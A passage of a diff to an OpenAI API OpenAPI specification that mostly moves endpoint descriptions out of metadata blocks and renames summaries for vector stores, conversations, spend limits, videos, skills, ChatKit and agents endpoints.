"upload_id": "upload_abc123"
}
- description: |
- Adds a [Part](https://developers.openai.com/api/reference/resources/uploads/subresources/parts) to an [Upload](https://developers.openai.com/api/reference/resources/uploads) object. A Part represents a chunk of bytes from the file you are trying to upload.
-
- Each Part can be at most 64 MB, and you can add Parts until you hit the Upload maximum of 8 GB.
-
- It is possible to add multiple Parts in parallel. You can decide the intended order of the Parts when you [complete the Upload](https://developers.openai.com/api/reference/resources/uploads/methods/complete).
/vector_stores:
get:
operationId: listVectorStores
tags:
- Vector stores
summary: List vector stores
+ description: Returns a list of vector stores.
parameters:
- name: limit
in: query
@@ -21155,7 +20923,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List vector stores
group: vector_stores
examples:
request:
@@ -21219,12 +20986,12 @@ paths:
"last_id": "vs_abc456",
"has_more": false
}
- description: Returns a list of vector stores.
post:
operationId: createVectorStore
tags:
- Vector stores
summary: Create vector store
+ description: Create a vector store.
requestBody:
required: true
content:
@@ -21241,7 +21008,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create vector store
group: vector_stores
examples:
request:
@@ -21289,13 +21055,13 @@ paths:
"total": 3
}
}
- description: Create a vector store.
/vector_stores/{vector_store_id}:
get:
operationId: getVectorStore
tags:
- Vector stores
summary: Retrieve vector store
+ description: Retrieves a vector store.
parameters:
- in: path
name: vector_store_id
@@ -21313,7 +21079,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve vector store
group: vector_stores
examples:
request:
@@ -21348,12 +21113,12 @@ paths:
"object": "vector_store",
"created_at": 1699061776
}
- description: Retrieves a vector store.
post:
operationId: modifyVectorStore
tags:
- Vector stores
summary: Modify vector store
+ description: Modifies a vector store.
parameters:
- in: path
name: vector_store_id
@@ -21377,7 +21142,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Modify vector store
group: vector_stores
examples:
request:
@@ -21429,12 +21193,12 @@ paths:
"total": 3
}
}
- description: Modifies a vector store.
delete:
operationId: deleteVectorStore
tags:
- Vector stores
summary: Delete vector store
+ description: Delete a vector store.
parameters:
- in: path
name: vector_store_id
@@ -21452,7 +21216,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete vector store
group: vector_stores
examples:
request:
@@ -21488,7 +21251,6 @@ paths:
object: "vector_store.deleted",
deleted: true
}
- description: Delete a vector store.
/vector_stores/{vector_store_id}/file_batches:
post:
operationId: createVectorStoreFileBatch
@@ -21521,10 +21283,7 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create vector store file batch
group: vector_stores
- description: |
- Attaches multiple files to a vector store in one request. This is the recommended approach for multi-file ingestion, especially because per-vector-store file attach writes are rate-limited (300 requests/minute shared with `/vector_stores/{vector_store_id}/files`).
examples:
request:
curl: |
@@ -21619,6 +21378,7 @@ paths:
tags:
- Vector stores
summary: Retrieve vector store file batch
+ description: Retrieves a vector store file batch.
parameters:
- in: path
name: vector_store_id
@@ -21644,7 +21404,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve vector store file batch
group: vector_stores
examples:
request:
@@ -21690,13 +21449,13 @@ paths:
"total": 0,
}
}
- description: Retrieves a vector store file batch.
/vector_stores/{vector_store_id}/file_batches/{batch_id}/cancel:
post:
operationId: cancelVectorStoreFileBatch
tags:
- Vector stores
summary: Cancel vector store file batch
+ description: Cancel a vector store file batch. This attempts to cancel the processing of files in this batch as soon as possible.
parameters:
- in: path
name: vector_store_id
@@ -21720,7 +21479,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Cancel vector store file batch
group: vector_stores
examples:
request:
@@ -21767,13 +21525,13 @@ paths:
"total": 15,
}
}
- description: Cancel a vector store file batch. This attempts to cancel the processing of files in this batch as soon as possible.
/vector_stores/{vector_store_id}/file_batches/{batch_id}/files:
get:
operationId: listFilesInVectorStoreBatch
tags:
- Vector stores
summary: List vector store files in a batch
+ description: Returns a list of vector store files in a batch.
parameters:
- name: vector_store_id
in: path
@@ -21837,7 +21595,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List vector store files in a batch
group: vector_stores
examples:
request:
@@ -21889,13 +21646,13 @@ paths:
"last_id": "file-abc456",
"has_more": false
}
- description: Returns a list of vector store files in a batch.
/vector_stores/{vector_store_id}/files:
get:
operationId: listVectorStoreFiles
tags:
- Vector stores
summary: List vector store files
+ description: Returns a list of vector store files.
parameters:
- name: vector_store_id
in: path
@@ -21953,7 +21710,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List vector store files
group: vector_stores
examples:
request:
@@ -22003,7 +21759,6 @@ paths:
"last_id": "file-abc456",
"has_more": false
}
- description: Returns a list of vector store files.
post:
operationId: createVectorStoreFile
tags:
@@ -22035,10 +21790,7 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create vector store file
group: vector_stores
- description: |
- Attaches one file to a vector store. File attach writes are rate-limited per vector store (300 requests/minute shared with `/vector_stores/{vector_store_id}/file_batches`), so use file batches when uploading multiple files.
examples:
request:
curl: |
@@ -22089,6 +21841,7 @@ paths:
tags:
- Vector stores
summary: Retrieve vector store file
+ description: Retrieves a vector store file.
parameters:
- in: path
name: vector_store_id
@@ -22114,7 +21867,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve vector store file
group: vector_stores
examples:
request:
@@ -22154,12 +21906,12 @@ paths:
"status": "completed",
"last_error": null
}
- description: Retrieves a vector store file.
delete:
operationId: deleteVectorStoreFile
tags:
- Vector stores
summary: Delete vector store file
+ description: Delete a vector store file. This will remove the file from the vector store but the file itself will not be deleted. To delete the file, use the [delete file](https://developers.openai.com/api/reference/resources/files/methods/delete) endpoint.
parameters:
- in: path
name: vector_store_id
@@ -22183,7 +21935,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete vector store file
group: vector_stores
examples:
request:
@@ -22221,12 +21972,12 @@ paths:
object: "vector_store.file.deleted",
deleted: true
}
- description: Delete a vector store file. This will remove the file from the vector store but the file itself will not be deleted. To delete the file, use the [delete file](https://developers.openai.com/api/reference/resources/files/methods/delete) endpoint.
post:
operationId: updateVectorStoreFileAttributes
tags:
- Vector stores
summary: Update vector store file attributes
+ description: Update attributes on a vector store file.
parameters:
- in: path
name: vector_store_id
@@ -22258,7 +22009,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Update vector store file attributes
group: vector_stores
examples:
request:
@@ -22279,13 +22029,13 @@ paths:
"chunking_strategy": {...},
"attributes": {"key1": "value1", "key2": 2}
}
- description: Update attributes on a vector store file.
/vector_stores/{vector_store_id}/files/{file_id}/content:
get:
operationId: retrieveVectorStoreFileContent
tags:
- Vector stores
summary: Retrieve vector store file content
+ description: Retrieve the parsed contents of a vector store file.
parameters:
- in: path
name: vector_store_id
@@ -22311,7 +22061,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve vector store file content
group: vector_stores
examples:
request:
@@ -22329,13 +22078,13 @@ paths:
...
]
}
- description: Retrieve the parsed contents of a vector store file.
/vector_stores/{vector_store_id}/search:
post:
operationId: searchVectorStore
tags:
- Vector stores
summary: Search vector store
+ description: Search a vector store for relevant chunks based on a query and file attributes filter.
parameters:
- in: path
name: vector_store_id
@@ -22360,7 +22109,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Search vector store
group: vector_stores
examples:
request:
@@ -22409,12 +22157,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Search a vector store for relevant chunks based on a query and file attributes filter.
/conversations:
post:
tags:
- Conversations
summary: Create a conversation
+ description: Create a conversation.
operationId: createConversation
parameters: []
requestBody:
@@ -22432,7 +22180,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create a conversation
group: conversations
path: create
examples:
@@ -22507,12 +22254,12 @@ paths:
"created_at": 1741900000,
"metadata": {"topic": "demo"}
}
- description: Create a conversation.
/conversations/{conversation_id}:
get:
tags:
- Conversations
summary: Retrieve a conversation
+ description: Get a conversation
operationId: getConversation
parameters:
- name: conversation_id
@@ -22532,7 +22279,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve a conversation
group: conversations
path: retrieve
examples:
@@ -22569,11 +22315,11 @@ paths:
"created_at": 1741900000,
"metadata": {"topic": "demo"}
}
- description: Get a conversation
delete:
tags:
- Conversations
summary: Delete a conversation
+ description: Delete a conversation. Items in the conversation will not be deleted.
operationId: deleteConversation
parameters:
- name: conversation_id
@@ -22593,7 +22339,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete a conversation
group: conversations
path: delete
examples:
@@ -22629,11 +22374,11 @@ paths:
"object": "conversation.deleted",
"deleted": true
}
- description: Delete a conversation. Items in the conversation will not be deleted.
post:
tags:
- Conversations
summary: Update a conversation
+ description: Update a conversation
operationId: updateConversation
parameters:
- name: conversation_id
@@ -22658,7 +22403,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Update a conversation
group: conversations
path: update
examples:
@@ -22715,10 +22459,10 @@ paths:
"created_at": 1741900000,
"metadata": {"topic": "project-x"}
}
- description: Update a conversation
/safety/alerts/{id}:
get:
- summary: Retrieve a safety alert
+ summary: Get project safety alert
+ description: Get a safety alert belonging to the authenticated API project.
operationId: Getprojectsafetyalert
parameters:
- name: id
@@ -22737,7 +22481,6 @@ paths:
schema:
$ref: '#/components/schemas/SafetyAlertResource'
x-oaiMeta:
- name: Retrieve a safety alert
group: safety-alerts
path: retrieve
examples:
@@ -22757,7 +22500,6 @@ paths:
"error_type": "potentially_unintended_data_access",
"reason": "Potentially unintended data access."
}
- description: Get a safety alert belonging to the authenticated API project.
/live/sessions/{session_id}/content:
get:
tags:
@@ -22784,12 +22526,12 @@ paths:
type: string
format: binary
x-oaiMeta:
- name: Download recording
group: live
returns: The stored session recording as binary stereo WAV audio.
/organization/spend_limit:
get:
- summary: Retrieve organization spend limit
+ summary: Get organization spend limit
+ description: Get the organization's hard spend limit.
operationId: Getorganizationspendlimit
parameters: []
responses:
@@ -22800,7 +22542,6 @@ paths:
schema:
$ref: '#/components/schemas/OrganizationSpendLimitResource'
x-oaiMeta:
- name: Retrieve organization spend limit
group: administration
examples:
request:
@@ -22820,9 +22561,9 @@ paths:
}
security:
- AdminApiKeyAuth: []
- description: Get the organization's hard spend limit.
post:
summary: Update organization spend limit
+ description: Create or replace the organization's hard spend limit.
operationId: Updateorganizationspendlimit
parameters: []
requestBody:
@@ -22840,7 +22581,6 @@ paths:
schema:
$ref: '#/components/schemas/OrganizationSpendLimitResource'
x-oaiMeta:
- name: Update organization spend limit
group: administration
examples:
request:
@@ -22865,9 +22605,9 @@ paths:
}
security:
- AdminApiKeyAuth: []
- description: Create or replace the organization's hard spend limit.
delete:
summary: Delete organization spend limit
+ description: Delete the organization's hard spend limit.
operationId: Deleteorganizationspendlimit
parameters: []
responses:
@@ -22878,7 +22618,6 @@ paths:
schema:
$ref: '#/components/schemas/OrganizationSpendLimitDeletedResource'
x-oaiMeta:
- name: Delete organization spend limit
group: administration
examples:
request:
@@ -22893,10 +22632,10 @@ paths:
}
security:
- AdminApiKeyAuth: []
- description: Delete the organization's hard spend limit.
/organization/projects/{project_id}/spend_limit:
get:
- summary: Retrieve project spend limit
+ summary: Get project spend limit
+ description: Get a project's hard spend limit.
operationId: Getprojectspendlimit
parameters:
- name: project_id
@@ -22914,7 +22653,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectSpendLimitResource'
x-oaiMeta:
- name: Retrieve project spend limit
group: administration
examples:
request:
@@ -22934,9 +22672,9 @@ paths:
}
security:
- AdminApiKeyAuth: []
- description: Get a project's hard spend limit.
delete:
summary: Delete project spend limit
+ description: Delete a project's hard spend limit.
operationId: Deleteprojectspendlimit
parameters:
- name: project_id
@@ -22954,7 +22692,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectSpendLimitDeletedResource'
x-oaiMeta:
- name: Delete project spend limit
group: administration
examples:
request:
@@ -22969,9 +22706,9 @@ paths:
}
security:
- AdminApiKeyAuth: []
- description: Delete a project's hard spend limit.
post:
summary: Update project spend limit
+ description: Create or replace a project's hard spend limit.
operationId: Updateprojectspendlimit
parameters:
- name: project_id
@@ -22996,7 +22733,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectSpendLimitResource'
x-oaiMeta:
- name: Update project spend limit
group: administration
examples:
request:
@@ -23021,10 +22757,10 @@ paths:
}
security:
- AdminApiKeyAuth: []
- description: Create or replace a project's hard spend limit.
/organization/projects/{project_id}/service_accounts/{service_account_id}/api_keys:
post:
- summary: Create project service account API key
+ summary: Create an API key for a service account
+ description: Creates an API key for a service account in the project.
operationId: CreateanAPIkeyforaserviceaccount
parameters:
- name: project_id
@@ -23055,7 +22791,6 @@ paths:
schema:
$ref: '#/components/schemas/ServiceAccountApiKeyBody'
x-oaiMeta:
- name: Create project service account API key
group: administration
examples:
request:
@@ -23077,10 +22812,13 @@ paths:
}
security:
- AdminApiKeyAuth: []
- description: Creates an API key for a service account in the project.
/content_provenance_checks:
post:
summary: Create content provenance check
+ description: |-
+ Check whether an image or audio file contains known OpenAI provenance signals. [Learn more about content provenance](https://developers.openai.com/api/docs/guides/content-provenance).
+
+ If `not_detected`, it means the tool did not find supported signals in the uploaded file. The content could still have been generated by OpenAI if the metadata was stripped or has evidence of tampering, the watermark was degraded, it comes from a legacy generation model, or it was created before provenance signals were available. Content could also still be AI-generated by another company's model, which the tool currently does not detect.
operationId: Createcontentprovenancecheck
parameters: []
requestBody:
@@ -23098,17 +22836,13 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create content provenance check
group: content_provenance_checks
- description: |-
- Check whether an image or audio file contains known OpenAI provenance signals. [Learn more about content provenance](https://developers.openai.com/api/docs/guides/content-provenance).
-
- If `not_detected`, it means the tool did not find supported signals in the uploaded file. The content could still have been generated by OpenAI if the metadata was stripped or has evidence of tampering, the watermark was degraded, it comes from a legacy generation model, or it was created before provenance signals were available. Content could also still be AI-generated by another company's model, which the tool currently does not detect.
/videos:
post:
tags:
- Videos
- summary: Create video
+ summary: Create a video
+ description: Create a new video generation job from a prompt and optional reference assets.
operationId: createVideo
parameters: []
requestBody:
@@ -23129,7 +22863,6 @@ paths:
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
x-oaiMeta:
- name: Create video
group: videos
path: create
examples:
@@ -23215,11 +22948,11 @@ paths:
"seconds": "8",
"quality": "standard"
}
- description: Create a new video generation job from a prompt and optional reference assets.
get:
tags:
- Videos
summary: List videos
+ description: List recently generated videos for the current project.
operationId: ListVideos
parameters:
- name: limit
@@ -23252,7 +22985,6 @@ paths:
$ref: '#/components/schemas/VideoListResource'
deprecated: true
x-oaiMeta:
- name: List videos
group: videos
path: list for the organization.
examples:
@@ -23333,12 +23065,12 @@ paths:
],
"object": "list"
}
- description: List recently generated videos for the current project.
/videos/characters:
post:
tags:
- Videos
- summary: Create a character from an uploaded video.
+ summary: Create a character
+ description: Create a character from an uploaded video.
operationId: CreateVideoCharacter
parameters: []
requestBody:
@@ -23354,12 +23086,12 @@ paths:
schema:
$ref: '#/components/schemas/VideoCharacterResource'
deprecated: true
- description: Create a character from an uploaded video.
/videos/characters/{character_id}:
get:
tags:
- Videos
- summary: Fetch a character.
+ summary: Retrieve a character
+ description: Fetch a character.
operationId: GetVideoCharacter
parameters:
- name: character_id
@@ -23377,12 +23109,12 @@ paths:
schema:
$ref: '#/components/schemas/VideoCharacterResource'
deprecated: true
- description: Fetch a character.
/videos/edits:
post:
tags:
- Videos
- summary: Create a new video generation job by editing a source video or existing generated video.
+ summary: Create a video edit
+ description: Create a new video generation job by editing a source video or existing generated video.
operationId: CreateVideoEdit
parameters: []
requestBody:
@@ -23402,12 +23134,12 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
- description: Create a new video generation job by editing a source video or existing generated video.
/videos/extensions:
post:
tags:
- Videos
- summary: Create an extension of a completed video.
+ summary: Create a video extension
+ description: Create an extension of a completed video.
operationId: CreateVideoExtend
parameters: []
requestBody:
@@ -23427,12 +23159,12 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
- description: Create an extension of a completed video.
/videos/{video_id}:
get:
tags:
- Videos
- summary: Retrieve video
+ summary: Retrieve a video
+ description: Fetch the latest metadata for a generated video.
operationId: GetVideo
parameters:
- name: video_id
@@ -23451,7 +23183,6 @@ paths:
$ref: '#/components/schemas/VideoResource'
deprecated: true
x-oaiMeta:
- name: Retrieve video
group: videos
path: retrieve matching the provided identifier.
examples:
@@ -23516,11 +23247,11 @@ paths:
Video video = client.videos().retrieve("video_123");
}
}
- description: Fetch the latest metadata for a generated video.
delete:
tags:
- Videos
- summary: Delete video
+ summary: Delete a video
+ description: Permanently delete a completed or failed video and its stored assets.
operationId: DeleteVideo
parameters:
- name: video_id
@@ -23539,7 +23270,6 @@ paths:
$ref: '#/components/schemas/DeletedVideoResource'
deprecated: true
x-oaiMeta:
- name: Delete video
group: videos
path: delete
examples:
@@ -23604,12 +23334,15 @@ paths:
VideoDeleteResponse video = client.videos().delete("video_123");
}
}
- description: Permanently delete a completed or failed video and its stored assets.
/videos/{video_id}/content:
get:
tags:
- Videos
- summary: Retrieve video content
+ summary: Download video content
+ description: |-
+ Download the generated video bytes or a derived preview asset.
+
+ Streams the rendered video content for the specified video job.
operationId: RetrieveVideoContent
parameters:
- name: video_id
@@ -23642,7 +23375,6 @@ paths:
type: string
deprecated: true
x-oaiMeta:
- name: Retrieve video content
group: videos
path: content
examples:
@@ -23718,15 +23450,12 @@ paths:
HttpResponse response = client.videos().downloadContent("video_123");
}
}
- description: |-
- Download the generated video bytes or a derived preview asset.
-
- Streams the rendered video content for the specified video job.
/videos/{video_id}/remix:
post:
tags:
- Videos
- summary: Remix video
+ summary: Create a video remix
+ description: Create a remix of a completed video using a refreshed prompt.
operationId: CreateVideoRemix
parameters:
- name: video_id
@@ -23757,7 +23486,6 @@ paths:
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
x-oaiMeta:
- name: Remix video
group: videos
path: remix using the provided prompt.
examples:
@@ -23851,10 +23579,13 @@ paths:
"seconds": "8",
"remixed_from_video_id": "video_123"
}
- description: Create a remix of a completed video using a refreshed prompt.
/responses/input_tokens:
post:
summary: Get input token counts
+ description: |-
+ Returns input token counts of the request.
+
+ Returns an object with `object` set to `response.input_tokens` and an `input_tokens` count.
operationId: Getinputtokencounts
parameters: []
requestBody:
@@ -23872,7 +23603,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Get input token counts
group: responses
examples:
request:
@@ -23962,13 +23692,13 @@ paths:
"object": "response.input_tokens",
"input_tokens": 11
}
- description: |-
- Returns input token counts of the request.
-
- Returns an object with `object` set to `response.input_tokens` and an `input_tokens` count.
/responses/compact:
post:
- summary: Compact a response
+ summary: Compact conversation
+ description: |-
+ Compact a conversation. Returns a compacted response object.
+
+ Learn when and how to compact long-running conversations in the [conversation state guide](https://developers.openai.com/api/docs/guides/conversation-state#managing-the-context-window). For ZDR-compatible compaction details, see [Compaction (advanced)](https://developers.openai.com/api/docs/guides/conversation-state#compaction-advanced).
operationId: Compactconversation
parameters: []
requestBody:
@@ -23988,7 +23718,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Compact a response
group: responses
examples:
request:
@@ -24120,15 +23849,12 @@ paths:
"total_tokens": 577
}
}
- description: |-
- Compact a conversation. Returns a compacted response object.
-
- Learn when and how to compact long-running conversations in the [conversation state guide](https://developers.openai.com/api/docs/guides/conversation-state#managing-the-context-window). For ZDR-compatible compaction details, see [Compaction (advanced)](https://developers.openai.com/api/docs/guides/conversation-state#compaction-advanced).
/skills:
post:
tags:
- Skills
- summary: Create a new skill.
+ summary: Create Skill
+ description: Create a new skill.
operationId: CreateSkill
parameters: []
requestBody:
@@ -24148,11 +23874,11 @@ paths:
$ref: '#/components/schemas/SkillResource'
'429':
$ref: '#/components/responses/TooManyRequests'
- description: Create a new skill.
get:
tags:
- Skills
- summary: List all skills for the current project.
+ summary: List Skills
+ description: List all skills for the current project.
operationId: ListSkills
parameters:
- name: limit
@@ -24185,12 +23911,12 @@ paths:
$ref: '#/components/schemas/SkillListResource'
'429':
$ref: '#/components/responses/TooManyRequests'
- description: List all skills for the current project.
/skills/{skill_id}:
delete:
tags:
- Skills
- summary: Delete a skill by its ID.
+ summary: Delete Skill
+ description: Delete a skill by its ID.
operationId: DeleteSkill
parameters:
- name: skill_id
@@ -24209,11 +23935,11 @@ paths:
$ref: '#/components/schemas/DeletedSkillResource'
'429':
$ref: '#/components/responses/TooManyRequests'
- description: Delete a skill by its ID.
get:
tags:
- Skills
- summary: Get a skill by its ID.
+ summary: Get Skill
+ description: Get a skill by its ID.
operationId: GetSkill
parameters:
- name: skill_id
@@ -24232,11 +23958,11 @@ paths:
$ref: '#/components/schemas/SkillResource'
'429':
$ref: '#/components/responses/TooManyRequests'
- description: Get a skill by its ID.
post:
tags:
- Skills
- summary: Update the default version pointer for a skill.
+ summary: Update Skill Default Version
+ description: Update the default version pointer for a skill.
operationId: UpdateSkillDefaultVersion
parameters:
- name: skill_id
@@ -24260,12 +23986,12 @@ paths:
$ref: '#/components/schemas/SkillResource'
'429':
$ref: '#/components/responses/TooManyRequests'
- description: Update the default version pointer for a skill.
/skills/{skill_id}/content:
get:
tags:
- Skills
- summary: Download a skill zip bundle by its ID.
+ summary: Get Skill Content
+ description: Download a skill zip bundle by its ID.
operationId: GetSkillContent
parameters:
- name: skill_id
@@ -24288,12 +24014,12 @@ paths:
type: string
'429':
$ref: '#/components/responses/TooManyRequests'
- description: Download a skill zip bundle by its ID.
/skills/{skill_id}/versions:
post:
tags:
- Skills
- summary: Create a new immutable skill version.
+ summary: Create Skill Version
+ description: Create a new immutable skill version.
operationId: CreateSkillVersion
parameters:
- name: skill_id
@@ -24320,11 +24046,11 @@ paths:
$ref: '#/components/schemas/SkillVersionResource'
'429':
$ref: '#/components/responses/TooManyRequests'
- description: Create a new immutable skill version.
get:
tags:
- Skills
- summary: List skill versions for a skill.
+ summary: List Skill Versions
+ description: List skill versions for a skill.
operationId: ListSkillVersions
parameters:
- name: skill_id
@@ -24364,12 +24090,12 @@ paths:
$ref: '#/components/schemas/SkillVersionListResource'
'429':
$ref: '#/components/responses/TooManyRequests'
- description: List skill versions for a skill.
/skills/{skill_id}/versions/{version}:
get:
tags:
- Skills
- summary: Get a specific skill version.
+ summary: Get Skill Version
+ description: Get a specific skill version.
operationId: GetSkillVersion
parameters:
- name: skill_id
@@ -24395,11 +24121,11 @@ paths:
$ref: '#/components/schemas/SkillVersionResource'
'429':
$ref: '#/components/responses/TooManyRequests'
- description: Get a specific skill version.
delete:
tags:
- Skills
- summary: Delete a skill version.
+ summary: Delete Skill Version
+ description: Delete a skill version.
operationId: DeleteSkillVersion
parameters:
- name: skill_id
@@ -24425,12 +24151,12 @@ paths:
$ref: '#/components/schemas/DeletedSkillVersionResource'
'429':
$ref: '#/components/responses/TooManyRequests'
- description: Delete a skill version.
/skills/{skill_id}/versions/{version}/content:
get:
tags:
- Skills
- summary: Download a skill version zip bundle.
+ summary: Get Skill Version Content
+ description: Download a skill version zip bundle.
operationId: GetSkillVersionContent
parameters:
- name: skill_id
@@ -24460,10 +24186,13 @@ paths:
type: string
'429':
$ref: '#/components/responses/TooManyRequests'
- description: Download a skill version zip bundle.
/chatkit/sessions/{session_id}/cancel:
post:
- summary: Cancel chat session
+ summary: Cancel a ChatKit session
+ description: |-
+ Cancel an active ChatKit session and return its most recent metadata.
+
+ Cancelling prevents new requests from using the issued client secret.
operationId: CancelChatSessionMethod
parameters:
- name: session_id
@@ -24481,7 +24210,6 @@ paths:
schema:
$ref: '#/components/schemas/ChatSessionResource'
x-oaiMeta:
- name: Cancel chat session
group: chatkit
beta: true
path: cancel-session new requests from using the issued client secret.
@@ -24568,13 +24296,10 @@ paths:
"status": "cancelled",
"cancelled_at": 1712345678
}
- description: |-
- Cancel an active ChatKit session and return its most recent metadata.
-
- Cancelling prevents new requests from using the issued client secret.
/chatkit/sessions:
post:
- summary: Create ChatKit session
+ summary: Create a ChatKit session
+ description: Create a ChatKit session.
operationId: CreateChatSessionMethod
parameters: []
requestBody:
@@ -24590,7 +24315,6 @@ paths:
schema:
$ref: '#/components/schemas/ChatSessionResource'
x-oaiMeta:
- name: Create ChatKit session
group: chatkit
beta: true
path: sessions/create object.
@@ -24705,10 +24429,10 @@ paths:
"max_requests_per_session": 500,
"status": "active"
}
- description: Create a ChatKit session.
/chatkit/threads/{thread_id}/items:
get:
summary: List ChatKit thread items
+ description: List items that belong to a ChatKit thread.
operationId: ListThreadItemsMethod
parameters:
- name: thread_id
@@ -24754,7 +24478,6 @@ paths:
schema:
$ref: '#/components/schemas/ThreadItemListResource'
x-oaiMeta:
- name: List ChatKit thread items
group: chatkit
beta: true
path: threads/list-items for the specified thread.
@@ -24862,10 +24585,10 @@ paths:
"has_more": false,
"object": "list"
}
- description: List items that belong to a ChatKit thread.
/chatkit/threads/{thread_id}:
get:
- summary: Retrieve ChatKit thread
+ summary: Retrieve a ChatKit thread
+ description: Retrieve a ChatKit thread by its identifier.
operationId: GetThreadMethod
parameters:
- name: thread_id
@@ -24883,7 +24606,6 @@ paths:
schema:
$ref: '#/components/schemas/ThreadResource'
x-oaiMeta:
- name: Retrieve ChatKit thread
group: chatkit
beta: true
path: threads/retrieve
@@ -24986,9 +24708,9 @@ paths:
"has_more": false
}
}
- description: Retrieve a ChatKit thread by its identifier.
delete:
- summary: Delete ChatKit thread
+ summary: Delete a ChatKit thread
+ description: Delete a ChatKit thread along with its items and stored attachments.
operationId: DeleteThreadMethod
parameters:
- name: thread_id
@@ -25069,13 +24791,12 @@ paths:
ThreadDeleteResponse thread = client.beta().chat_kit().threads().delete("cthr_123");
}
}
- name: Delete ChatKit thread
group: chatkit
path: threads/delete
- description: Delete a ChatKit thread along with its items and stored attachments.
/chatkit/threads:
get:
summary: List ChatKit threads
+ description: List ChatKit threads with optional pagination and user filters.
operationId: ListThreadsMethod
parameters:
- name: limit
@@ -25123,7 +24844,6 @@ paths:
schema:
$ref: '#/components/schemas/ThreadListResource'
x-oaiMeta:
- name: List ChatKit threads
group: chatkit
beta: true
path: list-threads scope.
@@ -25211,7 +24931,6 @@ paths:
"has_more": false,
"object": "list"
}
- description: List ChatKit threads with optional pagination and user filters.
/agents/environments/{environment_id}:
get:
operationId: retrieveAgentEnvironment
@@ -25271,8 +24990,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve an agent environment
/agents/environments/{environment_id}/files:
get:
operationId: listAgentEnvironmentFiles
@@ -25367,8 +25084,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List agent environment files
post:
operationId: createAgentEnvironmentFile
summary: Create an agent environment file
@@ -25432,8 +25147,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Create an agent environment file
/agents/sessions/{session_id}/subagents:
get:
operationId: listAgentSessionSubagents
@@ -25562,8 +25275,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List session subagents
/agents/sessions/{session_id}/subagents/{subagent_id}:
get:
operationId: retrieveAgentSessionSubagent
@@ -25637,8 +25348,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve a session subagent
/agents/sessions/{session_id}/subagents/{subagent_id}/items:
get:
operationId: listAgentSessionSubagentItems
@@ -25737,8 +25446,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List subagent items
/agents/sessions/{session_id}/subagents/{subagent_id}/turns:
get:
operationId: listAgentSessionSubagentTurns
@@ -25838,8 +25545,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List subagent turns
/agents/sessions/{session_id}/subagents/{subagent_id}/turns/{turn_id}:
get:
operationId: retrieveAgentSessionSubagentTurn
@@ -25921,8 +25626,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve a subagent turn
/agents/sessions/{session_id}/subagents/{subagent_id}/turns/{turn_id}/items:
get:
operationId: listAgentSessionSubagentTurnItems
@@ -26029,8 +25732,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List subagent turn items
/agents:
get:
operationId: listAgents
@@ -26108,8 +25809,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List agents
post:
operationId: createAgent
summary: Create an agent
@@ -26164,8 +25863,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Create an agent
/agents/{agent_id}:
get:
operationId: retrieveAgent
